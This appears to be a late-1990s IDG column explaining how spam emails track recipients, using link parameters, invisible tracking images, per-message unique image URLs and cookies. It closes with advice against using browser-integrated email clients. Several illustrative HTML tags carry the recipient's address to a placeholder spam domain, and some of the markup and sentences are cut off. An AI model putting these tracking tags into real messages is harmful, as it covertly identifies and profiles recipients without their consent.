- (IDG) -- The headline shouted "E-Mail May Be Peril
to Privacy" from the business section's front page in the San Francisco
Chronicle. Reading the December 4 article by Associated Press writer Kalpana
Srinivasan, I was happy to see the issue getting some attention but hardly
surprised to hear about yet another privacy threat.
- David Brin, the author of The Transparent Society, writes
that a lack of privacy is inevitable. Although I don't agree with everything
he says, the odds look pretty good that Brin might be right about this.
- And while I hope Scott McNealy is using hyperbole when
he says, "You have zero privacy now. Get over it" (the PC Week
"Quote of the Week," Feb. 1, 1999), it's not at all clear that
he is. Every time I'm asked to have my signature digitized for posterity
during a credit card purchase (which I refuse, as a matter of principle),
I am reminded of just how invasive our society has become.
- Hiding HTML links in email
- Enough generalized paranoia, however. Let's look at some
- Most Web browsers hide the HTML portion of a link, showing
only a highlighted word or two. Many e-mail clients, particularly those
embedded in Web browsers, perform this service as well. MESSAGE BOARD
- It is a useful feature, in most cases. After all, HTML
code is both bulky and mysterious; most e-mail users have neither the expertise,
time, nor motivation to analyze every incoming bit of HTML. Unfortunately,
however, it can leave an unwary user open to privacy attacks.
- Let's say I get a piece of spam from a porn site, containing
includes the following bit of HTML:
- <A HREF="http://www.smuttystuff.com"www.smuttystuff.com</A
- No problem so far: www.smuttystuff.com is just a Website,
so I should be pretty anonymous visiting it. All the site will get from
my visit, in general, is an IP number or perhaps a domain name. The site
can't use either of those to send me more spam or identify me as a visitor.
- Unfortunately, URLs can contain other items, including
parameters that can be transmitted back to the site:
- <A HREF="http://firstname.lastname@example.org"www.smuttystuff.com</A
- If I take the bait and visit the site, my e-mail address,
email@example.com, can be put on a hot list. Of course, the site managers had
already obtained my address from an existing list, but they didn't know
I would take the offered bait. Now they do.
- It gets worse. If I am using such a Web browser to handle
my e-mail, even opening the email message may be enough to initiate a serious
loss of privacy. Many Web browsers are capable of enhancing e-mail messages
with all sorts of (possibly invisible) images, retrieving them when a message
is opened from any specified URL. The spammer is free to include an IMG
tag that includes my email address in a parameter, as follows:
- <IMG SRC="http://firstname.lastname@example.org"
- Wanna cookie?
- The spammer now knows that I opened his message, but
even that's not the worst part. The Website can also return a cookie to
my browser containing my (possibly disguised) e-mail address. This means
that any future visit I make to his site (or other, cooperating sites)
can be recorded and indexed to my email address.
- In short, my privacy will have been severely compromised
by my e-mail software, without my knowledge or permission. For more information
on this specific kind of attack, see the Electronic Frontier Foundation's
press release or the technical report by security expert Richard M. Smith
- These sorts of attacks can take many forms. For instance,
it is quite possible to eliminate the need for a parameter altogether.
Let's say the image request looks like this:
- <IMG SRC="http://www.smuttystuff.com/blonds/susie_q.jpg"
- That seems pretty innocent, from a privacy perspective,
but it might not be. In one possible scenario, the spammer could generate
a unique URL for each outgoing email message, joining random names (susie,
tammy, ...) with random letters (q, r, and so on). As each piece of email
is sent, the spammer saves the outgoing email address in a database, keyed
by the unique portion (susie_q) of the URL.
- When the image request is received, a hidden CGI script
(http://www.smuttystuff.com/blonds) can record the request in the database,
send me an identifying cookie, and so on. In short, any image request could
- Finally, if I am foolish enough to click on an unknown
URL, the spammer doesn't need parameters or even "hidden" HTML:
- The same logic applies: because the spammer knows whom
he told about susie_q, he knows who is asking to see the Web page. Welcome
to spamland, sucker.
- One moral of this story, like that of Ken Thompson's
classic paper, "Reflections on Trusting Trust" (link below),
is that Trojan horses can come in many guises, and one should not trust
a stranger's offerings, even if they contain no visible threats.
- Another moral is that convenient "features,"
made possible by aggregating pieces of software (in this case, e-mail and
Web clients), can lead to unexpected security holes. Microsoft is the most
obvious perpetrator here, but Netscape and others have contributed to the
- In an environment where random miscreants can send e-mail
to unsuspecting victims, keeping a few barriers in place seems only prudent.
The spate of e-mailed "macro viruses" provides a clear example
of the reasons.
- Putting macros -- interpretable code -- into word processors
and other programs is clearly a powerful and useful idea. Having e-mail
software start up a copy of the word processor, so you can read formatted
mail, is also quite convenient. Unfortunately, the combination means that
ill-wishers can run macros on a victim's machine merely by sending e-mail.
- I don't have any global solutions to offer, but I can
offer some advice: Don't use Web browsers or highly integrated systems,
such as Microsoft Outlook, as e-mail clients; they're far too accommodating
- If you must use unsafe e-mail software, try to use it
in a conservative manner. Turn off any automated features, such as automated
program invocation, that might allow others to take over your machine.
Until the vendors add some real security, the risks far outweigh any possible
- Editor's note: The domain name Smuttystuff.com was not
registered at the time this article was published. Any similarity to an
existing domain name or Website is purely coincidental.